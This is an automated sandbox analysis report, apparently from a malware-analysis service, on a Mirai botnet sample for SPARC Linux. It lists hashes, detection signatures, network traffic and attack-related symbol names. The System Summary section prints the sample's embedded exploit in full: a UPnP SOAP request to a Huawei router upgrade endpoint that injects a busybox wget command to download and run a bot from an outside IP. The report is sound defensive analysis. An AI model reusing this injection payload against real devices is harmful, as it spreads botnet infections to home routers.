Linux Analysis Report
JGG1a56dcB.elf

Overview

General Information

Sample name: JGG1a56dcB.elf
renamed because original name is a hash value
Original sample name: 76d78ee0f506495328a91377700e7f42.elf
Analysis ID: 1428821
MD5: 76d78ee0f506495328a91377700e7f42
SHA1: 28abadda7df259a003d129c92825683146bd6446
SHA256: 6188f21394351041ff8d95e937c3cdfe2df3f5769710ab3824fa9331a66c3e5f
Tags: 32elfmiraisparc
Infos:

Detection

Mirai
Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Contains symbols with names commonly found in malware
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: JGG1a56dcB.elf ReversingLabs: Detection: 34%
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: JGG1a56dcB.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: JGG1a56dcB.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: ELF static info symbol of initial sample Name: attack_gudp_flood
Source: ELF static info symbol of initial sample Name: attack_parser.c
Source: ELF static info symbol of initial sample Name: attack_registry.c
Source: JGG1a56dcB.elf ELF static info symbol of initial sample: huawei_scanner_pid
Source: JGG1a56dcB.elf ELF static info symbol of initial sample: huawei_scanner_rawpkt
Source: JGG1a56dcB.elf ELF static info symbol of initial sample: malware_scanner
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: Pid=%d Path=%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: classification engine Classification label: mal60.troj.linELF@0/0@0/0
Source: /tmp/JGG1a56dcB.elf (PID: 6223) Queries kernel information via 'uname': Jump to behavior
Source: JGG1a56dcB.elf, 6223.1.00005574085c3000.0000557408628000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: JGG1a56dcB.elf, 6223.1.00007fff1f3a9000.00007fff1f3ca000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/JGG1a56dcB.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/JGG1a56dcB.elf
Source: JGG1a56dcB.elf, 6223.1.00005574085c3000.0000557408628000.rw-.sdmp Binary or memory string: tU!/etc/qemu-binfmt/sparc
Source: JGG1a56dcB.elf, 6223.1.00007fff1f3a9000.00007fff1f3ca000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

barindex
Source: Yara match File source: JGG1a56dcB.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f76e0011000.00007f76e002c000.r-x.sdmp, type: MEMORY

Remote Access Functionality

barindex
Source: Yara match File source: JGG1a56dcB.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f76e0011000.00007f76e002c000.r-x.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs